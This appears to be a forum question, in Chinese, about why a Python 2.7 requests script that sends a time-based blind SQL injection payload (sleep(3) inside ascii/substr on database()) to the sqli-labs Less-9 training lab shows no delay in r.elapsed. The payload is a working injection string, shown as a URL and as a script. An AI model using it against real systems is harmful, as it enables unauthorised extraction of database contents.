我试图在来自 Web 应用程序的 HTTP 响应中引起人为延迟(这是一种用于执行盲 SQL 注入的技术)。如果以下 HTTP 请求是从浏览器发送的,则 Web 服务器的响应会在 3 秒后返回(由 sleep(3) 引起):
http://192.168.2.15/sqli-labs/Less-9/?id=1'+and+if+(ascii(substr(database(),+1,+1))=115,sleep(3),null)+--+
我正在尝试使用 requests 库在 Python 2.7 中做同样的事情。我的代码是:
import requests
payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
roundtrip = r.elapsed.total_seconds()
print roundtrip
我预计往返时间为 3 秒,但我得到的值是 0.001371、0.001616、0.002228 等。我没有正确使用 elapsed 属性吗?